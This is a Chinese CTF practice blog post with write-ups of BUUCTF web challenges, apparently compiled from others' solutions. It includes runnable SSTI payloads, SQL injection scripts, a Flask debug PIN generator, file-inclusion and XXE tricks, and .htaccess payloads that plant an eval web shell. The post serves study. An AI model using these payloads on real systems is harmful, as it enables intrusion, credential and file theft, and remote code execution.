BUUCTF刷题记录(6)

2023-11-06

web

打ctf(×)
被ctf打(√)

[FBCTF2019]RCEService

首先查看文件夹文件,{"cmd":"ls"}
在这里插入图片描述
然后输入其他的发现被ban了,看wp得源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

非预期:
preg_match只能匹配第一行数据,所以用换行符%0a换行,然后发现没有cat命令,是由于应用程序的PATH变量更改了
最终payload:{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}//路径是找出来的
在这里插入图片描述
预期
p神文章:PHP利用PCRE回溯次数限制绕过某些安全限制
正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配
payload:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://0e383195-1074-4c91-ba06-2b4029dcd921.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

在这里插入图片描述
参考:W4nder:[FBCTF2019]RCEService
BUUCTF:[FBCTF2019]RCEService

[GYCTF2020]FlaskApp

看wp的同时学习一下知识点:
从零学习flask模板注入
浅析SSTI(python沙盒绕过)
Flask debug 模式 PIN 码生成机制安全性研究笔记

hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。
base64decode在不会解析的时候就会报错
在这里插入图片描述
首先读源码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

在这里插入图片描述
传入,在解密处得到源码
在这里插入图片描述

def waf(str):
    black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
                  &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
    for x in black_list :
        if x in str.lower() :
            return 1

非预期:
发现是flag和os等被过滤,师傅利用的字符串拼接

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

在这里插入图片描述

{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}
或者
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['sys'].modules['o'+'s'].__dict__['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}

还可以使用切片省去了拼接flag的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述
预期:
这里借鉴一下师傅的文章:
要想生成PIN码,我们需要获得下面几个信息,所需要的信息均可以通过读文件来获得:
一:服务器运行flask所登录的用户名。通过读取/etc/password可知此值为:flaskweb

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

在这里插入图片描述
二:modname的值。一般不变就是flask.app
三:getattr(app, "__name__", app.__class__.__name__)的结果。就是Flask,也不会变
四:flask库下app.py的绝对路径。在报错信息中可以获取此值为: /usr/local/lib/python3.7/site-packages/flask/app.py
五:当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

在这里插入图片描述
在这里插入图片描述
六:机器的id:

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

我这里获取的是/proc/self/cgroup

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述
得到3a6ff5898390f421d3a796226e0e07c0339c79df1319cea55253e98e767c6118

用kingkk师傅的exp:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410333015',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '3a6ff5898390f421d3a796226e0e07c0339c79df1319cea55253e98e767c6118'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

在这里插入图片描述
传入265-149-843直接进入python终端了
在这里插入图片描述
参考:
GYCTF Flaskapp[SSTI模板注入 ]
[GYCTF2020]FlaskApp
GYCTF2020_Writeup
从一道ctf题谈谈flask开启debug模式存在的安全问题

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码得到信息
在这里插入图片描述
那么应该是文件包含,尝试payload:
?file=php://filter/convert.base64-encode/resource=index.php
在这里插入图片描述
解码即可得到源代码:

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

那么可以得到confirm.php,change.php,search.php等等的源码
change.php:

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

search.php:

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

confirm.php:

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

每个涉及查询的界面都过滤了很多东西来防止SQL注入,但发现在change.php中address只是进行了简单的转义。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发
payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
在这里插入图片描述
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#
在这里插入图片描述
赛博朋克2077买买买!!!
参考:ciscn2019华北赛区半决赛day1web5CyberPunk

[BSidesCF 2019]Futurella

一开始一脸懵逼
在这里插入图片描述
查看源代码得到flag。。。。。。what!!!!!!!
在这里插入图片描述
正常来说:google翻译,按照翻译出来的中文翻译成英文,与符号相对应,很自然的就找到了对应关系,而且还根据符号的大小区分了大小写,最后拼接直接得到flag
在这里插入图片描述
可参考:2019年CTF3月比赛记录(一):BSidesSF 2019 CTF_Web部分题目writeup与重解

[CISCN2019 华东南赛区]Web11

首先进入发现在右上角记录了ip
在这里插入图片描述
然后在最后面发现是基于Smarty模板
在这里插入图片描述
抓包伪造XFF头试试,设置X-Forwarded-For: {7+7}
在这里插入图片描述
smarty中的{if}标签中可以执行php语句,那么可以使用:

{if system("ls /")}{/if}
{if system("cat /flag")}{/if}
或者
{if readfile('/flag')}{/if}

在这里插入图片描述
参考:[CISCN2019 华东南赛区]Web11

[BSidesCF 2019]Kookie

在这里插入图片描述
一开始以为是弱密码或者是万能密码,后来发现都不对,提示有cookie还是抓包,但并未发现什么。
看wp发现只要在cookie处加入:username=admin即可 ?????
在这里插入图片描述
参考:2019年CTF3月比赛记录(一):BSidesSF 2019 CTF_Web部分题目writeup与重解

[RCTF2015]EasySQL

考点为二次注入
首先注册一个'sss"\测试一下,在修改密码处有一个报错的回显
在这里插入图片描述
猜测sql语句

select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'

那么进行报错注入

username=1"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

在这里插入图片描述
这个题目flag不在flag 表中。。。。。。。查看users表

username=1"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

在这里插入图片描述
发现有长度限制,并没有显示全面,使用正则匹配

username=1"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

得到列为real_flag_1s_here,最后爆数据

username=1"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

在这里插入图片描述
长度受到限制,使用reverse逆序输出

username=1"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

在这里插入图片描述
使用python的切片,步长为-1,来得到正向的flag,拼接即可
在这里插入图片描述

参考:[RCTF2015]EasySQL

[BSidesCF 2020]Had a bad day

在这里插入图片描述
进入点击发现是猫狗的图片,看url发现可能是文件包含
使用伪协议读取index的源代码
?category=php://filter/read=convert.base64-encode/resource=index
在这里插入图片描述
得到有用代码:

 <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

利用include函数特性包含一下flag.php文件
?category=woofers/../flag
在这里插入图片描述
说明flag.php被包含了进去,接下来读取flag.php,看wp知道php://filter伪协议可以套一层协议
法一:
?category=php://filter/read=convert.base64-encode/meowers/resource=flag
利用了PHP对不存在过滤器的容错性,虽然会报warning,但是还是输出了结果。
法二:
?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
利用了PHP会对路径进行规范化处理
在这里插入图片描述
参考:
[BUUOJ记录] [BSidesCF 2020]Had a bad day
BSidesSF 2020 CTF writeup

[XNUCA2019Qualifier]EasyPHP

给出了源码:

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?> 

预期解

htaccess生效
如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance 这里采用# \的方式将换行符转义成普通字符,就可以用#来注释单行了。
利用文件包含
代码中有一处include_once("fl3g.php"); php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。
tmp目录写文件

  1. 如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
  2. 如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。
  3. 写进error_log的内容会被html编码怎么绕过?这个点是比较常见的,采用utf7编码即可。

payload:
第一步:通过error_log配合include_path在tmp目录生成shell
写入utf-7编码的shellcode可以绕过<?的过滤,编码后的语句为:<?php eval($_GET[1]); __halt_compiler();
在这里插入图片描述

php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \

在传值的时候一定要进行url编码才可以成功

?filename=.htaccess&content=php_value%20error_log%20%2ftmp%2ffl3g.php%0aphp_value%20error_reporting%2032767%0aphp_value%20include_path%20%22%2bADw?php%20eval($_GET[1])%2bADs%20%2bAF8AXw-halt%2bAF8-compiler()%2bADs%22%0a%23%20%5c

第二步:访问index.php留下error_log
第三步:通过include_path和utf7编码执行shell

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

同理传入:

?filename=.htaccess&content=php_value%20include_path%20%22/tmp%22%0aphp_value%20zend.multibyte%201%0aphp_value%20zend.script_encoding%20%22UTF-7%22%0a%23%20%5c

最后通过一句话来执行php命令
在这里插入图片描述
再传一遍得到flag
在这里插入图片描述

非预期解

一:
因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0) ,可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false,通过设置.htaccess:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \

传入:

?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23%20%5c

filename即可通过伪协议绕过前面stristr的判断实现Getshell,令filename为:
?filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了

php_value pcre.backtrack_limit 0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\

我这里没有成功,不清楚了。。。
二:
反斜杠有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\

传入url编码过的字符串

?filename=.htaccess&content=php_value%20auto_prepend_fi%5c%0ale%20%22.htaccess%22%0a%23%3c%3fphp%20%40eval(%24_GET%5b'cmd'%5d)%3b%20%3f%3e%5c

即可在index里面执行命令了
在这里插入图片描述
在这里插入图片描述
本题需要不停地传.htaccess来触发,要多加尝试(重试了n次qaq)

参考:X-NUCA-ezphp记录
[XNUCA2019Qualifier]EasyPHP
XNUCA2019Qualifier/Web/Ezphp/

[NCTF2019]True XML cookbook

也是一个xxe的题目,重点是利用XXE来嗅探渗透内网
先用file协议读取相关的文件 /etc/passwd/etc/hosts
当我们读取到hosts文件的时候,我们会发现有几个ip地址,我们便来访问一下(到这里应该可以猜到是在打内网了)
在这里插入图片描述
访问了第一个,发现报错,说明没有这台主机,那么就多来试几台,发现在它后面的那一台里面就是flag
在这里插入图片描述
参考:[NCTF2019]True XML cookbook

[网鼎杯2018]Unfinish

好久没写题了,其实想入门一下逆向,在b站看了一些视频。然后网鼎杯快来了,来看一看真题,试试能不能签到(菜
首先需要登录,猜测有注册页面,为register.php
在这里插入图片描述
进入后只有一张小姐姐的图片(画的真好!!!),其他什么信息也没有,最后发现为二次注入。
注册成功,会得到 302 状态码并跳转至 login.php ;如果注册失败,只会返回 200 状态码。
使用username=0'+(select hex(hex(database())))+'0
得到373736353632,两次hex解码后为web
至于为什么用两次hex,借用链接的例子自己试了一下,正常的情况:
在这里插入图片描述
但十六进制有字母的话,发现到字母后被截断了,那么使用两次hex编码的话就会只得到数字
在这里插入图片描述
但得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度
在这里插入图片描述
使用substr每次取10个字符长度与 '0'相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr('test' from 1 for 10) 这种写法来绕过
payload:0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0 (有长度限制,更改前端即可)
可以慢慢注册得出答案,但我懒,找到了师傅的脚本:

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://745e50fc-02a5-45ba-9072-9431c79f6004.node3.buuoj.cn/'

def register(email,username):
    url1 = url+'register.php' 
    data = dict(email = email, username = username,password = 'adsl1234')
    html = re.post(url1,data=data)
    html.encoding = 'utf-8'
    return html

def login(email):
    url2 = url+'login.php'
    data = dict(email = email,password = 'adsl1234')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'
    return html


f = ''
for j in range(0,17):
    payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
    email = '{}@qq.com'.format(str(j)+'14')
    html = register(email,payload)
    # print html.text
    html = login(email)
    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        flag = res[0][1:].strip()
        print flag
        f += flag
        print f
        print f.decode('hex').decode('hex')
    except:
        print "problem"

在这里插入图片描述
代码看的一愣一愣的,以后还是要学会自己写各种注入的脚本呀!!!

参考:【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp
2018网鼎杯 三道WEB题 记录~~(二次注入)
[网鼎杯] 第二场web writeup

[GYCTF2020]Ezsqli

做的时候就不会,看wp写一下这题

  1. 过滤了and or关键字
  2. 过滤了if
  3. 不能用information_schema
  4. 没有单独过滤union和select, 但是过滤了union select,union某某某select之类
  5. 过滤了sys.schema_auto_increment_columns
  6. 过滤了join

sys中有这两个表x$schema_flattened_keys,schema_table_statistics可以获得表名信息,不过发现sys库中带有table的库名大多都会保存表名信息,不过需要mysql5.7以上。可以使用sys.schema_table_statistics_with_buffer得到表名,使用Y1ng师傅的盲注脚本:

import requests
from urllib.parse import quote
alphabet = ['{','}','_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
url = 'http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/'
target = 'select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()'
res = ''
for i in range(1,50):
    for char in alphabet:
        payload = '2||ascii(substr(({}),{},1))=\'{}\''.format(target, i, ord(char))
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        # print(text)
        if 'Nu1L' in r.text:
            res += char
            print(res)
            break

在这里插入图片描述
得到我们需要的表:f1ag_1s_h3r3_hhhhh
预期解是文章中提到的使用 select concat("a", cast(0 as json)) 来另其返回二进制字符串,又因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话f~ 始终大于flag{xx}e~始终小于flag{xxx}
使用Smi1e师傅的脚本:

# -*- coding:utf8 -*-
import requests
import string
url = "http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/"

def exp1():
    str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
    for j in range(1,40):
        for i in str1:
            paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)
            if 'Nu1L' in r.text:
                flag += i
                print(flag)
                break

def exp2():
    str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    flag_table_name = 'f1ag_1s_h3r3_hhhhh'
    for j in range(1,39):
        for i in str1:
            i = flag+i
            paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)

            if 'Nu1L' not in r.text:
                flag=i
                print(flag)
                break

if __name__ == '__main__':
    exp1()
    exp2()

还可以使用Y1ng师傅的脚本

按位比较过程中,因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因

import requests
url = 'http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

在这里插入图片描述
参考:
无需“in”的SQL盲注
i春秋2020新春战“疫”网络安全公益赛GYCTF Writeup 第二天
聊一聊bypass information_schema
新春战疫公益赛-ezsqli-出题小记

菜鸡一枚,本文仅为学习笔记,水平有限,主要还是看大佬的wp,如有错误还望指正

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

BUUCTF刷题记录(6) 的相关文章

  • 从 CTE 插入

    WITH DTL AS SELECT CMPI CODE CMN CDTY MTRL CMI WT FACTOR CMI CNTRCT RATE PL PRESENT PRICE TRM CODE ROUND NVL PRESENT PRI
  • 对 SQL 时间序列进行采样

    我有一个日期时间的时间序列 存储在 mySQL 中的双列 并且希望每分钟对时间序列进行采样 即以一分钟的间隔提取最后一个值 有没有一种有效的方法可以在一个 select 语句中执行此操作 蛮力方法将涉及选择整个系列并在客户端进行采样或为每个
  • 如何比较 Postgresql 中日期时间字段中的日期?

    在比较 postgresql Windows 中的版本 9 2 4 中的日期时 我遇到了一个奇怪的情况 我的表中有一列说update date与类型timestamp without timezone 客户可以仅使用日期搜索此字段 例如 2
  • 如何使用 ALTER TABLE 添加新列并使其唯一?

    我该如何使用ALTER TABLE添加新列并使其独一无二 取决于 DBMS 但我认为以下内容相当可移植 ALTER TABLE table name ADD column name datatype ALTER TABLE table na
  • max()、分组依据和排序依据

    我有以下 SQL 语句 SELECT t client id max t points AS max FROM sessions GROUP BY t client id 它只是列出了客户 ID 以及他们所获得的最大积分 现在我想按 max
  • 通过字符串操作预防 PHP SQL 注入[重复]

    这个问题在这里已经有答案了 可能的重复 PHP 中防止 SQL 注入的最佳方法 https stackoverflow com questions 60174 best way to prevent sql injection in php
  • 如何从连接字符串中提取数据库名称,而不考虑 RDBMS?

    我正在研究一个不知道正在使用的 RDBMS 的课程 当然 应用程序的其余部分都清楚这一点 连接字符串是此类的输入 我需要数据库名称 无论 RDBMS 如何 如何从连接字符串中提取数据库名称 我读到以下问题 如何使用 SqlConnectio
  • TSQL:无法对 COUNT(*) 执行聚合函数 AVG 来查找一天中最繁忙的时间

    考虑一个保存日志数据的 SQL Server 表 重要的部分是 CREATE TABLE dbo CustomerLog ID int IDENTITY 1 1 NOT NULL CustID int NOT NULL VisitDate
  • xQuery LIKE 运算符?

    有没有办法以与 SQL 相同的方式使用 XQuery 执行 LIKE 操作 我不想构造一些 startswith endswith 和 contains 表达式 我想要实现的目标的示例 for x in user where x first
  • 与常规 SQL 查询不同,为什么“linq to sql”查询以 FROM 关键字开头?

    为什么 linq to sql 查询以FROM与常规 SQL 查询不同的关键字 LINQ 模仿Logical Query processing在 SQL 中你有 8 SELECT 9 DISTINCT 11 TOP 1 FROM 2 ON
  • If Else 条件的 SQLite 语法

    我正在使用 SQLite 数据库 我的表有一个名为 密码 的文本列 早些时候 为了检索我用来执行简单操作的值select from myTable询问 但现在的要求是 如果Password值不是NULL那么我需要将其显示为 是 或 否 它是
  • 选择两列中两个日期之间的记录

    如何选择两列中两个日期之间的记录 Select From MyTable Where 2009 09 25 is between ColumnDateFrom to ColumnDateTo 我有一个日期 2009 09 25 我喜欢选择
  • SQL Server 标识列值从 0 而不是 1 开始

    我遇到了一个奇怪的情况 数据库中的某些表的 ID 从 0 开始 即使 TABLE CREATE 的 IDENTITY 1 1 也是如此 对于某些表来说是这样 但对于其他表则不然 它一直有效到今天 我尝试过重置身份列 DBCC CHECKID
  • 在 Django shell 会话期间获取 SQL 查询计数

    有没有办法打印 Django ORM 在 Django shell 会话期间执行的原始 SQL 查询的数量 Django 调试工具栏已经提供了此类信息 例如 5 QUERIES in 5 83MS但如何从 shell 中获取它并不明显 您可
  • 将子查询的结果插入表中并带有常量

    相关表格的概要如下 我有一个表 我们称之为联接 它有两列 都是其他表的外键 我们将这两列称为 userid 和buildingid 因此 join 看起来像 join userid buildingid 我基本上需要在这个表中插入一堆行 通
  • SQL Server中主键和唯一索引的区别[重复]

    这个问题在这里已经有答案了 我的公司目前正在重写我们最近获得的一个应用程序 我们选择使用 ASP net mvc4 来构建这个系统 并使用实体框架作为我们的 ORM 我们收购的公司的前任所有者非常坚定地要求我们使用他们的旧数据库 并且不对其
  • sql 查询的权限被拒绝

    我正在尝试通过经典的 asp 记录集执行以下查询 SQL Select P Name as P Name P Description as P Description from L PagePermission inner join A P
  • SQL 更新数据集中的位置

    id1 id2 bool 1 1 F 1 2 F 2 1 F UPDATE table name SET bool T WHERE id1 id2 IN 1 1 2 1 Need work here 所以基本上我想选择条件为 id1 id2
  • SQL 用新值替换旧值

    我有一个名为tbl Products 其中有一列名为articlenumber并且充满了像这样的数字s401 s402 etc 我生成了一个包含新商品编号的列表 它将替换旧的商品编号 s401 I00010 s402 I00020 s403
  • 仅从数据库获取我想要的数据但保留结构

    我正在尝试在 powerbi 上执行此操作 但我想这只是基本的 SQL 我想将我的数据导入到 powerBi 中 但使用一些 id 对其进行过滤 我们以这个例子为例 我与一些公司有数据库 表1 每个公司都有建筑物 表2 每个建筑物有员工 表

随机推荐

  • VM VirtualBox运行Ubuntu系统卡顿提速(亲测有效,附图)

